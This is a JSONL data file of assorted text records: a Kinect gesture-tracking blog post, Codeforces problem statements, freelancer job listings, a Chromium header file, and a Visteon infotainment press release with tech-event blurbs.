(sequence of postures rather than a ‘still’ posture) —-> Play 1 SPECIFIC music file/Playlist\n- Install other 2 SPECIFIC gestures —-> Play other types of music files/playlists\n- Note: All these music files will be played on the laptop rather than a mobile device\nNow enough talking ! Lets jump to some real action!\nSo I spent most of Sunday night trying to get the Kinect working with Mac OS X Mountain Lion. Here are some things that happened in this process:\n- I learnt that the OpenNI (Open Natural Interaction) library is used for interacting with devices like the Kinect (devices with Infrared cameras) as there is no external input from a mouse or keyboard (only body movements by the user).\n- There are a TON of websites for helping with installation for Kinect software. When I say Kinect software I mean libraries that we can use for development and tapping resources on the Kinect for Xbox 360 (that is what we are given by the Build18 competition Staff). Kinect for Windows is a good option too – it has really cool libraries for many applications. But not for Mac OS X.. I particularly liked this one : http://developkinect.com/resource/mac-os-x/install-openni-nite-and-sensorkinect-mac-os-x, however, I got really frustrated after re-doing the procedure for about 6 times, so I used old versions of the OpenNI and NITE libraries with SensorKinect to get things working and code in C++.\n- The sad thing was that I couldn’t find any source code guides/documentation to help me with skeleton tracking using these libraries (I promise I searched a lot). During my search I saw Processing being a really poplular choice, so I decided to give it a shot. This website is AWESOME : http://learning.codasign.com/index.php?title=Using_the_Kinect_with_Processing . I will eventually be uploading some videos of modified, compiled code (credits to the website http://learning.codasign.com/index.php?title=Using_the_Kinect_with_Processing for cool tutorials). I am still unhappy with the inaccuracy of the skeleton mapping, but its a wonderful feeling to actually code something and make things work!!!\nSo we really want to do the complicated gesture tracking rather than a ‘still’ gesture like having your hands up in the air for ages. For a simple (yet complicated as it involves the motion of hands, look at the following demo - http://youtu.be/DkgDjqiWArc). We AIM to have some sort of a program/tool to recognize that the user is moving their right hand diagonally (left in the reflected picture). So that is the fun part\nPS – I really like Processing as a beginner for Computer Vision and Kinect projects. There is OpenCV for Processing as well but I am trying to decide the algorithm for gesture recognition from the skeletal information at this point. In my next post, I will describe what Samantha and I are doing for the music player and how we will deal with accuracy of skeletal information.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1043, "token_count_with_eod": 1044, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "An array $$$b$$$ is called to be a subarray of $$$a$$$ if it forms a continuous subsequence of $$$a$$$, that is, if it is equal to $$$a_l$$$, $$$a_{l + 1}$$$, $$$\\ldots$$$, $$$a_r$$$ for some $$$l, r$$$.\n\nSuppose $$$m$$$ is some known constant. For any array, having $$$m$$$ or more elements, let's define it's beauty as the sum of $$$m$$$ largest elements of that array. For example:\n\n- For array $$$x = [4, 3, 1, 5, 2]$$$ and $$$m = 3$$$, the $$$3$$$ largest elements of $$$x$$$ are $$$5$$$, $$$4$$$ and $$$3$$$, so the beauty of $$$x$$$ is $$$5 + 4 + 3 = 12$$$.\n- For array $$$x = [10, 10, 10]$$$ and $$$m = 2$$$, the beauty of $$$x$$$ is $$$10 + 10 = 20$$$.\n\nYou are given an array $$$a_1, a_2, \\ldots, a_n$$$, the value of the said constant $$$m$$$ and an integer $$$k$$$. Your need to split the array $$$a$$$ into exactly $$$k$$$ subarrays such that:\n\n- Each element from $$$a$$$ belongs to exactly one subarray.\n- Each subarray has at least $$$m$$$ elements.\n- The sum of all beauties of $$$k$$$ subarrays is maximum possible.", "source": "cpt_codeforces", "language": "en", "token_count": 342, "token_count_with_eod": 343, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is the easy version of the problem. The difference between the versions is that in this version, you need to find any one good array. You can hack only if you solved all versions of this problem.\n\nKevin is visiting the Red Church, and he found a puzzle on the wall.\n\nFor an array $$$ a $$$, let $$$ c(l,r) $$$ indicate how many distinct numbers are among $$$ a_l, a_{l+1}, \\ldots, a_r $$$. In particular, if $$$ l > r $$$, define $$$ c(l,r) = 0 $$$.\n\nYou are given a string $$$ s $$$ of length $$$ n $$$ consisting of letters $$$ \\texttt{L} $$$ and $$$ \\texttt{R} $$$ only. Let a non-negative array $$$ a $$$ be called good, if the following conditions hold for $$$ 1 \\leq i \\leq n $$$:\n\n- if $$$s_i=\\verb!L!$$$, then $$$c(1,i-1)=a_i$$$;\n- if $$$s_i=\\verb!R!$$$, then $$$c(i+1,n)=a_i$$$.\n\nIf there is a good array $$$a$$$, print any of the good arrays. Otherwise, report that no such arrays exists.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A regular bracket sequence is a bracket sequence that can be transformed into a correct arithmetic expression by inserting characters \"1\" and \"+\" between the original characters of the sequence. For example:\n\n- bracket sequences \"()()\" and \"(())\" are regular (the resulting expressions are: \"(1)+(1)\" and \"((1+1)+1)\");\n- bracket sequences \")(\", \"(\" and \")\" are not.\n\nYou are given two strings $$$s$$$ and $$$a$$$, the string $$$s$$$ has length $$$n$$$, the string $$$a$$$ has length $$$n - 3$$$. The string $$$s$$$ is a bracket sequence (i. e. each element of this string is either an opening bracket character or a closing bracket character). The string $$$a$$$ is a binary string (i. e. each element of this string is either 1 or 0).\n\nThe string $$$a$$$ imposes some constraints on the string $$$s$$$: for every $$$i$$$ such that $$$a_i$$$ is 1, the string $$$s_i s_{i+1} s_{i+2} s_{i+3}$$$ should be a regular bracket sequence. Characters of $$$a$$$ equal to 0 don't impose any constraints.\n\nInitially, the string $$$s$$$ may or may not meet these constraints. You can perform the following operation any number of times: replace some character of $$$s$$$ with its inverse (i. e. you can replace an opening bracket with a closing bracket, or vice versa).\n\nDetermine if it is possible to change some characters in $$$s$$$ so that it meets all of the constraints, and if it is possible, calculate the minimum number of characters to be changed.", "source": "cpt_codeforces", "language": "en", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "...extract business data from Google Map (*Please zoom map up to 20m for larger data extraction) FORMAT TO SAVE LIST: CSV or EXCEL LIST OF DATA FIELDS REQUIRED: Business Name Address City State Zip Phone Fax (if available) Email id (if available) Website URL (if available) COUNTRY: Malaysia KEYWORDS/TARGET LOCATION: (The list below shows the industrial\nmembuat aplikasi spt medsos dan chat. dan applikasi dpt di download d google play dan apps store\nProyek saya adalah : ini tentang saya. dimana, saya ingin memperbagus template blog saya, memperbanyak follower di Google+, membuat youtube yang berkaitan dengan blog travelling saya, meningkatkan jumlah follower di Fanpage saya, mengurus twitter, pinterest.\nWe have 100 videos in Google cloud platform you have to create embedded link of all file and sed us a excel sheet\nMigrate from M1 to M2 13 ORDERS - 5 CUSTOMERS - 6 Online visit list please to M2 Need done today. Price is 15$ Fixed\nI need some who helps me with adwords campaign setup. My budget is 20$ for only setup\nI'm looking for a list of all Digital Marketing Agencies in the United States. This list should include: - Company Name - Company Address - Company Contact Information - Company Decision-Maker Contact Email - Company Phone Number\nI need an app built that rewards users with our erc20 etherium token. users will opt in to watch videos do Google's AdSense program. users will be rewarded what specific amount of tokens her video they watch. users will be able to send and receive tokens to other users through the app along with a message. users will be able to export the token to an ethereum address.\nI have a centos 7 server with python3, pip & selenium installed I need help installing Google chrome drivers so selenium can use them This is a headless application :) (Also I need you to walk me through the commands to use to figure out where the drivers are installed and how to make python and selenium connect to them :)\nADWORDS - GOOGLE ADS EXPERT! NEEDED - SETUP AND OPTIMIZE MY ADS CAMPAIGN I WILL PAY YOU $200!! BUT ONLY AFTER YOU GENERATE ME 400$ IN SALES - SO DONT BID IF YOURE NOT PROFFESIONAL\n...provide statistical data such as session, user login, search history data using Google Analytics. SQL details are as follows Need two tables one will take data dynamically from frontend of the website Another table will have static data exported one time from excel sheet. Google Analytics details are as follows Need customer session information searches\nCreate link for direct embeding videos from Google cloud platform using ffmpeg hls encrypted streaming. To be embedded on WordPress\nI need to improve the site speed on mobile for a website. The issue is that third-party js and CSS files used by plugins are slowing the site. Need someone with expertise to fix this.\nWe have our own site www.jointheedots.com. We want to apply proper SEO on our site to get ranked within first or second page against some specific keywords. Experienced freelancers on expert on Wordpress SEO can apply. The site is built in wordpress.\nHi. This is a very straight forward project, and I just need an accurate typist to help to input information for a mailing list. From our association's website, I need to put the company name, address, and telephone number into an Excel file. There is about 2500 names and addresses to put in.\nSet up ffmpeg for hls encrypted video streaming with token authentication. Video will be embedded in WordPress wplms theme\nWe need to set up E-Commerce for our website. It currently runs on a custom Vue.js + TypeScript template. The e-commerce setup: - must be compatible with google-analytics e-commerce. - should be compatible with [log masuk untuk melihat URL] e-commerce (optional). Necessary knowledge of: - Vue.js 2.5.x - TypeScript ^2.8.x - Git Work process is the following: - We\nI had my (Android + Firebase) chatting app removed from Google play store due to \"Call log and SMS access permission violation\" I need a coder to fix the code if necessary and fill any required forms and upload the code again to google play.\n...script to get Facebook Ads API data reporting into Google Sheet on hourly basis. this project is for a developer who has experience and already developed something like this area, there is no budget for building from scratch. We need a script to import multiple Facebook Ads accounts into Google sheet. Structure is: - user login using Facebook Oauth\n...tools/functions/scripts. until then, I can not be assured you have made this one. so I can not release any milestone. even few percentage. I can not release milestone before seeing the results from your tools. Please be notified this. Thank you for reading! Have a good day and bid me if you think you can build one. Anytime ! And I am willing to respond very quickly\n...keyword or something on google, you can see listed websites, blogs, e-commerce stores related to. I simply need a tool that extracting all the contacts of those, listed websites and domains. That automatically extracting :) Needed achievement. 1. Should be able to execute the search behave over 10,000 times continuously. on google. (might need to add\nHere’s what I need; 4 banners for FB and IG AD Banner 1- Banner with great background (image should describe making money because it will be use for affiliate program) Text : ————— Logo —————— Who want more than $600/ week? > 40-75% comission > Free Product Banner 2- Banner with great background (image should ...\nOur small business currenty uses dropbox for storage, icloud for calanders and go daddy for web services. We want to chage everything to google and streamline the system. We need an IT person to come to our office in New York City and make the change over.\nOverview: Move the data from the Price Finder sheet to the Radius sheet 1a. Move the data to a google sheet and share it with me 1b. Look at the street number Price Finder sheet and move the line to the Radius sheet. 2. Do not overwrite data. 3. Look at the red text in the Sheets, this has already been moved from the Price Finder sheet to the Radius\n...learner and I am looking for a really knowledgeable person in this domain.. I would like my tutor to be good at the following Hands on in Tensor Flow, opencv,darkflow,yolo, on google colab knowledge in Artificial Neural Network & Different types of it Should be able to teach complex ideas with simplicity Looking for a friend, whom I can chat my doubts with\nI need integration of ''Signup with google'' to my IOS application. Currently app is using standart email and facebook signup; sign up with google should be integrated in accordance with the standart current sign up process of the app. I will provide the code via bitbucket, code is in swift.\nIf you are an expert in PPC (Adwords) campaign management and excited to work on a challenging environment, This job is for you. We need to setup and run an AdWords campaign for an Online Poker website for the location of Indonesia. The budget is USD $100/day but before we run it in full fledged, you need to Run a test campaign and show me the screenshots. If you have past experience with simila...\n...motivated by the necessity of high accuracy when dealing with human life. Also, computer assistance is demanded in medical institutions due to the fact that it could improve the results of humans in such a domain where the false negative cases must be at a very low rate. Processing of Magnetic Resonance Imaging (MRI) images is one of the techniques to diagnose\nThis project allows for customers to be referred to us by a 3rd party. When a customer is referred the data relating to this is populated into an Excel spreadsheet. Each row of data in this sheet must be converted into a GET and executed. When this completes successfully, this is written to that row of the sheet. If there are errors then this is written instead. We require an Excel add-on to allo...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1728, "token_count_with_eod": 1729, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have a team of N people. For a particular task, you can pick any non-empty subset of people. The cost of having x people for the task is xk.\n\nOutput the sum of costs over all non-empty subsets of people.", "source": "cpt_codeforces", "language": "en", "token_count": 50, "token_count_with_eod": 51, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Now let's add some callouts to the screenshots. Select an image to work on take a look at shapes toolbar.\nSelect shape style (we use \"Red and Yellow\" here). Click on rectangle shape on the toolbar and draw it where you want callout to appear. Now select \"Arrow\" shape and connect rectangle with a target element, in our case the toolbar buttons. Double click the rectangle and enter text into \"Caption\" field.\nTable of contents:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "After a long, tough, but fruitful day at DTL, Ela goes home happily. She entertains herself by solving Competitive Programming problems. She prefers short statements, because she already read too many long papers and documentation at work. The problem of the day reads:\n\nYou are given an integer $$$c$$$. Suppose that $$$c$$$ has $$$n$$$ divisors. You have to find a sequence with $$$n - 1$$$ integers $$$[a_1, a_2, ... a_{n - 1}]$$$, which satisfies the following conditions:\n\n- Each element is strictly greater than $$$1$$$.\n- Each element is a divisor of $$$c$$$.\n- All elements are distinct.\n- For all $$$1 \\le i < n - 1$$$, $$$\\gcd(a_i, a_{i + 1})$$$ is a prime number.\n\nIn this problem, because $$$c$$$ can be too big, the result of prime factorization of $$$c$$$ is given instead. Note that $$$\\gcd(x, y)$$$ denotes the greatest common divisor (GCD) of integers $$$x$$$ and $$$y$$$ and a prime number is a positive integer which has exactly $$$2$$$ divisors.", "source": "cpt_codeforces", "language": "en", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Welcome to The [Expletive] Project!\nThis is the subreddit for a super secret project that is doing the impossible: ending digital piracy, in a way that doesn't suck for anyone. It's a digital publishing and content delivery service that serves up every type of digital content.\nThis project is based on technologies that you probably use every day and business plans that enabled the creation of all kinds of things you'd recognize, with the philosophy that things can really be fair if you're smart about it and that small things matter, and is a deliberate act of sedition towards unjust and tyrannical attempts to force a failed system, and made in belligerent opposition towards attempts to abandon real solutions to complex problems. People don't need to be told what the right thing to do is, or that they need to do it, because we're really good at that; we just need better tools for doing those things.\nThis is a real project, it is well on it's way to accomplishing its' first goals, and is nearing the point where I can share it with the awesome people reading this. This subreddit is a place for me to answer the questions I can about what's involved, tell you guys what's going on, and to serve as a place where people can put up relevant links and share info that is related in any way.\nI'm working on this alone, full time, without funding. If you can spare a buck or two, it would really help me a lot. I'll add a paypal donation link here soon: for now, you can donate bitcoins to me here:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A sequence of non-negative integers $$$a_1, a_2, \\dots, a_n$$$ is called growing if for all $$$i$$$ from $$$1$$$ to $$$n - 1$$$ all ones (of binary representation) in $$$a_i$$$ are in the places of ones (of binary representation) in $$$a_{i + 1}$$$ (in other words, $$$a_i \\:\\&\\: a_{i + 1} = a_i$$$, where $$$\\&$$$ denotes bitwise AND). If $$$n = 1$$$ then the sequence is considered growing as well.\n\nFor example, the following four sequences are growing:\n\n- $$$[2, 3, 15, 175]$$$ — in binary it's $$$[10_2, 11_2, 1111_2, 10101111_2]$$$;\n- $$$[5]$$$ — in binary it's $$$[101_2]$$$;\n- $$$[1, 3, 7, 15]$$$ — in binary it's $$$[1_2, 11_2, 111_2, 1111_2]$$$;\n- $$$[0, 0, 0]$$$ — in binary it's $$$[0_2, 0_2, 0_2]$$$.\n\nThe following three sequences are non-growing:\n\n- $$$[3, 4, 5]$$$ — in binary it's $$$[11_2, 100_2, 101_2]$$$;\n- $$$[5, 4, 3]$$$ — in binary it's $$$[101_2, 100_2, 011_2]$$$;\n- $$$[1, 2, 4, 8]$$$ — in binary it's $$$[0001_2, 0010_2, 0100_2, 1000_2]$$$.\n\nConsider two sequences of non-negative integers $$$x_1, x_2, \\dots, x_n$$$ and $$$y_1, y_2, \\dots, y_n$$$. Let's call this pair of sequences co-growing if the sequence $$$x_1 \\oplus y_1, x_2 \\oplus y_2, \\dots, x_n \\oplus y_n$$$ is growing where $$$\\oplus$$$ denotes bitwise XOR.\n\nYou are given a sequence of integers $$$x_1, x_2, \\dots, x_n$$$. Find the lexicographically minimal sequence $$$y_1, y_2, \\dots, y_n$$$ such that sequences $$$x_i$$$ and $$$y_i$$$ are co-growing.\n\nThe sequence $$$a_1, a_2, \\dots, a_n$$$ is lexicographically smaller than the sequence $$$b_1, b_2, \\dots, b_n$$$ if there exists $$$1 \\le k \\le n$$$ such that $$$a_i = b_i$$$ for any $$$1 \\le i < k$$$ but $$$a_k < b_k$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Not so long ago, Vlad had a birthday, for which he was presented with a package of candies. There were $$$n$$$ types of candies, there are $$$a_i$$$ candies of the type $$$i$$$ ($$$1 \\le i \\le n$$$).\n\nVlad decided to eat exactly one candy every time, choosing any of the candies of a type that is currently the most frequent (if there are several such types, he can choose any of them). To get the maximum pleasure from eating, Vlad does not want to eat two candies of the same type in a row.\n\nHelp him figure out if he can eat all the candies without eating two identical candies in a row.", "source": "cpt_codeforces", "language": "en", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "in context of Artificial Neural Networks:\nFor a 'neuron' to learn something, there must be:\nThen we can analyse how this change affected 'neuron', and how closer or further away it is from it's goal, a desired behaviour.\nWith enough of time, with analysis, with a certain degree of control of changes, changes might become more rapid, bigger, smarter, better.\nSee also: Neural Networks, Stitie Space, Simple Artificial Intelligence.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 97, "token_count_with_eod": 98, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Copyright 2018 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef IOS_CHROME_BROWSER_UI_ORCHESTRATOR_LOCATION_BAR_OFFSET_PROVIDER_H_\n#define IOS_CHROME_BROWSER_UI_ORCHESTRATOR_LOCATION_BAR_OFFSET_PROVIDER_H_\n\n#import <Foundation/Foundation.h>\n\n// Protocol for vending an x offset for a string.\n@protocol LocationBarOffsetProvider<NSObject>\n\n// Provides an offset for a given string in the callee's coordinates, if any.\n// Returns a default value (based on callee's font) if the |string| is not a\n// substring of the string displayed by callee.\n- (CGFloat)xOffsetForString:(NSString*)string;\n\n@end\n\n#endif  // IOS_CHROME_BROWSER_UI_ORCHESTRATOR_LOCATION_BAR_OFFSET_PROVIDER_H_", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Or use something like R or Python for data analysis, slicing and dicing etc. Problem is always a lack of knowledge.\nNot a member of The Register?\nCreate a new account\nRemember me on this computer?\nThe Register - Independent news and views for the tech community. Part of Situation Publishing\nBiting the hand that feeds IT © 1998–2021", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|By PR Newswire||\n|February 25, 2013 09:45 AM EST||\nVAN BUREN TOWNSHIP, Mich., Feb. 25, 2013 /PRNewswire/ -- Visteon Corporation (NYSE: VC) has been awarded a development and production program for its latest infotainment system by a major European car manufacturer. With production launch targeted for the 2015 model year, this program represents the first market implementation of Visteon's next-generation infotainment platform in this rapidly growing segment.\nVisteon's latest infotainment solution is capable of multi-device connectivity to deliver apps and features, stream media, access the Internet and seamlessly integrate both Cloud-based and local content to drivers and passengers via a simple and flexible user interface. The system also enables software updates over the lifetime of the vehicle, further enhancing value to vehicle manufacturers and the end consumer. This will be one of the first automotive implementations of an 'open source' platform and associated applications based on the requirements of GENIVI®, a non-profit alliance committed to driving broad adoption of an in-vehicle infotainment open source development platform.\n\"This next-generation platform demonstrates Visteon's leadership in setting the course for the industry in vehicle infotainment,\" said Steve Meszaros, president, Visteon Electronics. \"Bringing the cutting-edge technology of the consumer electronics world to the vehicle, this new product fulfills our vision, and that of our customers, to deliver a superior user experience for the driver and passengers.\"\nWith its strong foothold in the market, Visteon is well-positioned for above-market annual growth in the audio infotainment segment, which as a whole is projected to grow at an annual rate of more than 12 percent over the next five years.\nVisteon provides connected audio and embedded connectivity solutions on more than 5 million vehicles annually for global vehicle manufacturers. Visteon's infotainment range also includes automotive and content partnerships to deliver an industry-leading user experience through improved connectivity, human-machine interaction (HMI) interface and content.\nVisteon is a leading global automotive supplier delivering value for vehicle manufacturers and shareholders through a family of businesses including:\n- Halla Visteon Climate Control, majority-owned by Visteon and the world's second largest global supplier of automotive climate components and systems.\n- Visteon Electronics, a leading supplier of audio/infotainment, driver information, center stack electronics and feature control modules.\n- Visteon Interiors, a global provider of vehicle cockpit modules, instrument panels, consoles and door trim modules.\n- Yanfeng Visteon Automotive Trim Systems Co., Ltd., a successful China-based partnership between Visteon and Shanghai Automotive Industry Corporation's automotive components group, Huayu Automotive Systems.\nThrough this family of enterprises, Visteon designs, engineers and manufactures innovative components and systems for virtually every vehicle manufacturer worldwide, and these businesses generated more than $12 billion in sales in 2011, including unconsolidated operations. With corporate offices in Van Buren Township, Mich. (U.S.); Shanghai, China; and Chelmsford, UK; Visteon has facilities in 28 countries and employs through its various businesses, including unconsolidated operations, approximately 55,000 people. Learn more at www.visteon.com.\nThis press release contains \"forward-looking statements\" within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements are not guarantees of future results and conditions but rather are subject to various factors, risks and uncertainties that could cause our actual results to differ materially from those expressed in these forward-looking statements, including, but not limited to: (1) conditions within the automotive industry, including (i) the automotive vehicle production volumes and schedules of our customers, (ii) the financial condition of our customers and the effects of any restructuring or reorganization plans that may be undertaken by our customers or suppliers, including work stoppages, and (iii) possible disruptions in the supply of commodities to us or our customers due to financial distress, work stoppages, natural disasters or civil unrest; (2) our ability to satisfy future capital and liquidity requirements; including our ability to access the credit and capital markets at the times and in the amounts needed and on terms acceptable to us; our ability to comply with financial and other covenants in our credit agreements; and the continuation of acceptable supplier payment terms; (3) our ability to satisfy pension and other post-employment benefit obligations; (4) our ability to access funds generated by foreign subsidiaries and joint ventures on a timely and cost-effective basis; (5) our ability to execute on our transformational plans and cost-reduction initiatives in the amounts and on the timing contemplated; (6) general economic conditions, including changes in interest rates, currency exchange rates and fuel prices; (7) the timing and expenses related to internal restructurings, employee reductions, acquisitions or dispositions and the effect of pension and other post-employment benefit obligations; (8) increases in raw material and energy costs and our ability to offset or recover these costs, increases in our warranty, product liability and recall costs or the outcome of legal or regulatory proceedings to which we are or may become a party; and (9) those factors identified in our filings with the SEC. Caution should be taken not to place undue reliance on our forward-looking statements, which represent our view only as of the date of this release, and which we assume no obligation to update. New business wins and re-wins do not represent firm orders or firm commitments from customers, but are based on various assumptions, including the timing and duration of product launches, vehicle production levels, customer price reductions and currency exchange rates.\nSOURCE Visteon Corporation\nSYS-CON Events announced today that MangoApps will exhibit at SYS-CON's 18th International Cloud Expo®, which will take place on June 7-9, 2016, at the Javits Center in New York City, NY. MangoApps provides modern company intranets and team collaboration software, allowing workers to stay connected and productive from anywhere in the world and from any device. For more information, please visit https://www.mangoapps.com/.\nMay. 26, 2016 12:45 AM EDT Reads: 531\nA strange thing is happening along the way to the Internet of Things, namely far too many devices to work with and manage. It has become clear that we'll need much higher efficiency user experiences that can allow us to more easily and scalably work with the thousands of devices that will soon be in each of our lives. Enter the conversational interface revolution, combining bots we can literally talk with, gesture to, and even direct with our thoughts, with embedded artificial intelligence, wh...\nMay. 26, 2016 12:00 AM EDT Reads: 1,892\nThe IoT is changing the way enterprises conduct business. In his session at @ThingsExpo, Eric Hoffman, Vice President at EastBanc Technologies, discuss how businesses can gain an edge over competitors by empowering consumers to take control through IoT. We'll cite examples such as a Washington, D.C.-based sports club that leveraged IoT and the cloud to develop a comprehensive booking system. He'll also highlight how IoT can revitalize and restore outdated business models, making them profitable...\nMay. 25, 2016 10:45 PM EDT Reads: 2,620\nSYS-CON Events announced today that ContentMX, the marketing technology and services company with a singular mission to increase engagement and drive more conversations for enterprise, channel and SMB technology marketers, has been named “Sponsor & Exhibitor Lounge Sponsor” of SYS-CON's 18th Cloud Expo, which will take place on June 7-9, 2016, at the Javits Center in New York City, New York. “CloudExpo is a great opportunity to start a conversation with new prospects, but what happens after the...\nMay. 25, 2016 10:00 PM EDT Reads: 904\nThe essence of data analysis involves setting up data pipelines that consist of several operations that are chained together – starting from data collection, data quality checks, data integration, data analysis and data visualization (including the setting up of interaction paths in that visualization). In our opinion, the challenges stem from the technology diversity at each stage of the data pipeline as well as the lack of process around the analysis.\nMay. 25, 2016 08:30 PM EDT Reads: 1,237\nThe 19th International Cloud Expo has announced that its Call for Papers is open. Cloud Expo, to be held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA, brings together Cloud Computing, Big Data, Internet of Things, DevOps, Containers, Microservices and WebRTC to one location. With cloud computing driving a higher percentage of enterprise IT budgets every year, it becomes increasingly important to plant your flag in this fast-expanding business opportunity. Submit y...\nMay. 25, 2016 06:00 PM EDT Reads: 1,895\nInternet of @ThingsExpo, taking place November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with the 19th International Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world and ThingsExpo New York Call for Papers is now open.\nMay. 25, 2016 05:00 PM EDT Reads: 1,728\nDesigning IoT applications is complex, but deploying them in a scalable fashion is even more complex. A scalable, API first IaaS cloud is a good start, but in order to understand the various components specific to deploying IoT applications, one needs to understand the architecture of these applications and figure out how to scale these components independently. In his session at @ThingsExpo, Nara Rajagopalan is CEO of Accelerite, will discuss the fundamental architecture of IoT applications, ...\nMay. 25, 2016 04:45 PM EDT Reads: 966\nIn his session at 18th Cloud Expo, Bruce Swann, Senior Product Marketing Manager at Adobe, will discuss how the Adobe Marketing Cloud can help marketers embrace opportunities for personalized, relevant and real-time customer engagement across offline (direct mail, point of sale, call center) and digital (email, website, SMS, mobile apps, social networks, connected objects). Bruce Swann has more than 15 years of experience working with digital marketing disciplines like web analytics, social med...\nMay. 25, 2016 04:00 PM EDT Reads: 1,206\nSYS-CON Events announced today that Enzu, a leading provider of cloud hosting solutions, will exhibit at SYS-CON's 18th International Cloud Expo®, which will take place on June 7-9, 2016, at the Javits Center in New York City, NY. Enzu’s mission is to be the leading provider of enterprise cloud solutions worldwide. Enzu enables online businesses to use its IT infrastructure to their competitive advantage. By offering a suite of proven hosting and management services, Enzu wants companies to foc...\nMay. 25, 2016 03:45 PM EDT Reads: 2,131\nCustomer experience has become a competitive differentiator for companies, and it’s imperative that brands seamlessly connect the customer journey across all platforms. With the continued explosion of IoT, join us for a look at how to build a winning digital foundation in the connected era – today and in the future. In his session at @ThingsExpo, Chris Nguyen, Group Product Marketing Manager at Adobe, will discuss how to successfully leverage mobile, rapidly deploy content, capture real-time d...\nMay. 25, 2016 02:45 PM EDT Reads: 1,451\nIoT generates lots of temporal data. But how do you unlock its value? How do you coordinate the diverse moving parts that must come together when developing your IoT product? What are the key challenges addressed by Data as a Service? How does cloud computing underlie and connect the notions of Digital and DevOps What is the impact of the API economy? What is the business imperative for Cognitive Computing? Get all these questions and hundreds more like them answered at the 18th Cloud Expo...\nMay. 25, 2016 02:15 PM EDT Reads: 2,147\nAs cloud and storage projections continue to rise, the number of organizations moving to the cloud is escalating and it is clear cloud storage is here to stay. However, is it secure? Data is the lifeblood for government entities, countries, cloud service providers and enterprises alike and losing or exposing that data can have disastrous results. There are new concepts for data storage on the horizon that will deliver secure solutions for storing and moving sensitive data around the world. ...\nMay. 25, 2016 02:00 PM EDT Reads: 1,171\nWhat a difference a year makes. Organizations aren’t just talking about IoT possibilities, it is now baked into their core business strategy. With IoT, billions of devices generating data from different companies on different networks around the globe need to interact. From efficiency to better customer insights to completely new business models, IoT will turn traditional business models upside down. In the new customer-centric age, the key to success is delivering critical services and apps wit...\nMay. 25, 2016 01:45 PM EDT Reads: 995\nSYS-CON Events announced today that 24Notion has been named “Bronze Sponsor” of SYS-CON's 18th Cloud Expo, which will take place on June 7-9, 2016, at the Javits Center in New York, New York. 24Notion is full-service global creative digital marketing, technology and lifestyle agency that combines strategic ideas with customized tactical execution. With a broad understand of the art of traditional marketing, new media, communications and social influence, 24Notion uniquely understands how to con...\nMay. 25, 2016 09:45 AM EDT Reads: 1,724\nWebRTC is bringing significant change to the communications landscape that will bridge the worlds of web and telephony, making the Internet the new standard for communications. Cloud9 took the road less traveled and used WebRTC to create a downloadable enterprise-grade communications platform that is changing the communication dynamic in the financial sector. In his session at @ThingsExpo, Leo Papadopoulos, CTO of Cloud9, will discuss the importance of WebRTC and how it enables companies to fo...\nMay. 25, 2016 04:45 AM EDT Reads: 2,453\nSYS-CON Events announced today TechTarget has been named “Media Sponsor” of SYS-CON's 18th International Cloud Expo, which will take place on June 7–9, 2016, at the Javits Center in New York City, NY, and the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. TechTarget is the Web’s leading destination for serious technology buyers researching and making enterprise technology decisions. Its extensive global networ...\nMay. 25, 2016 04:15 AM EDT Reads: 3,070\nKorean Broadcasting System (KBS) will feature the upcoming 18th Cloud Expo | @ThingsExpo in a New York news documentary about the \"New IT for the Future.\" The documentary will cover how big companies are transmitting or adopting the new IT for the future and will be filmed on the expo floor between June 7-June 9, 2016, at the Javits Center in New York City, New York. KBS has long been a leader in the development of the broadcasting culture of Korea. As the key public service broadcaster of Korea...\nMay. 25, 2016 04:00 AM EDT Reads: 1,728\nWith major technology companies and startups seriously embracing IoT strategies, now is the perfect time to attend @ThingsExpo 2016 in New York and Silicon Valley. Learn what is going on, contribute to the discussions, and ensure that your enterprise is as \"IoT-Ready\" as it can be! Internet of @ThingsExpo, taking place Nov 3-5, 2015, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with 17th Cloud Expo and will feature technical sessions from a rock star conference faculty ...\nMay. 24, 2016 06:00 PM EDT Reads: 4,699\nThere are several IoTs: the Industrial Internet, Consumer Wearables, Wearables and Healthcare, Supply Chains, and the movement toward Smart Grids, Cities, Regions, and Nations. There are competing communications standards every step of the way, a bewildering array of sensors and devices, and an entire world of competing data analytics platforms. To some this appears to be chaos. In this power panel at @ThingsExpo, moderated by Conference Chair Roger Strukhoff, panelists will discuss the vast to...\nMay. 24, 2016 04:00 PM EDT Reads: 2,395", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3790, "token_count_with_eod": 3791, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
